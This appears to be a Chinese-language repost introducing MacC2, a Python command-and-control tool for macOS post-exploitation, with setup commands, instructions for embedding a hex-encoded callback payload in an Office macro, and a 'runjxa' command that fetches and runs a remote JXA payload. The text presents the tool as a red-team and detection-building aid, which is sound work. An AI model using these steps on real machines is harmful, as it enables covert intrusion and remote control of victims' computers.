MacC2
MacC2是一款基于Python开发的macOS后渗透漏洞利用工具,该工具使用的是Objective-C调用或Python代码库,而并非命令行执行。MacC2的客户端基于Python2开发,虽然Python2现在已经算是被弃用了,但它仍然可以随Big Sur安装一起提供。在将来,苹果很可能会从macOS的基础安装组件中移除Python2(或者直接删除预置的Python环境支持),但直到2020年11月,这种情况还没出现。
该工具的主要目的是为了帮助安全研究团队进行渗透测试技术演练,并在macOS上构建针对Python后渗透漏洞利用框架的检测机制。苹果计划会将脚本运行时环境从macOS的基础安装中移除,具体何时删除我们还不得而知,不过现在的Big Sur安装还是包括了Python的。
当前版本的MacC2已在Catalina和Big Sur上进行了测试。在Big-Sur上,惟一没有按预期工作的函数是systeminfo命令.
您可以在本地设置服务器,也可以使用我在这个项目代码库中提供的Docker设置。
使用Docker运行MacC2
如果你还没有安装Docker的话,请使用下列命令安装和配置Docker:
代码语言:javascript复制chmod x install_docker_linux.sh
sudo ./install_docker_linux.sh
接下来,运行下列命令。下列命令将会创建一个不受信任的SSL证书以及密钥,并为服务器和端口生成一个宏文件(macro.txt),然后构建macc2-docker。构建完成后,将会在macc2-docker中以交互模式运行MacC2服务器。
此时,工具将要求我们输出MacC2服务器的IP/主机名:
然后输入MacC2服务器需要监听的端口号:
工具将生成一个十六进制编码的Payload,存储在一个名为macro.txt的本地文件中,它能够连接至你的MacC2服务器,主机名、IP和端口均对应用户的设置:
Docker将会安装aiohttp Python3依赖,构建macc2-docker,然后在容器中运行MacC2服务器。完成之后,MacC2服务器将会监听用户所指定的端口:
现在,我们就可以使用下列命令验证MacC2服务器的运行状态了:
代码语言:javascript复制docker ps
除此之外,安装脚本还会在容器和主机之间配置一个共享挂载。在主机上,我们可以浏览/var/lib/docker/volumes/macc2/_data来访问MacC2_client.py和macro.txt。
我们还可以将MacC2_client.py文件拷贝到客户端,执行之后将提供回调,或者直接将macro.txt宏文件导入至一个Office文档,启用宏功能之后,将在客户端打开回调。
本地运行(不使用Docker)
如果你不想使用Docker,你还可以在本地搭建和配置服务器:
广大研究人员可以使用下列命令将该项目源码克隆至本地:
代码语言:javascript复制git clone https://github.com/cedowens/MacC2.git
由于MacC2服务器使用了aiohttp库来进行网络通信,因此我们要先安装aiohttp:
代码语言:javascript复制pip install aiohttp
python3 -m pip install --upgrade --force pip
接下来,在C2服务器上,配置SSL(密钥大小至少为2048):
代码语言:javascript复制openssl req -new -newkey rsa:2048 -nodes -out ca.csr -keyout ca.key
openssl x509 -trustout -signkey ca.key -days 365 -req -in ca.csr -out ca.pem
请注意,ca.pem和ca.key的文件名不要修改。
然后,使用macro_generator.py来创建MacC2脚本,然后指定服务器的IP/域名以及端口号。macro_generator.py还会构建一个十六进制编码的宏文件(macro.txt)来运行MacC2.我们可以将文件中的内容拷贝到一个MS Office文档中。
使用样例:
代码语言:javascript复制python3 macro_generatory.py -s [C2 Server IP/domain] -p [C2 Server Port]
使用MacC2_server.py脚本监听连接:
在客户端(目标为macOS主机),使用下列命令运行MacC2_client.py脚本:
代码语言:javascript复制python MacC2_client.py
此时在服务器端,你将看到传入的连接:
MacC2使用
收到连接之后,我们可以在服务器端使用“help”命令来获取内置可用的命令列表,然后输入目标命令来查看详细信息:
你还可以生成一个Mythic C2 JXA .js Payload,然后将其托管至一台远程服务器中。接下来,使用runjxa命令来向MacC2提供托管文件的URL,并执行Mythic .JXA Payload:
代码语言:javascript复制>>> runjxa <url_to_JXA_.js_payload>
项目地址
MacC2:【GitHub传送门】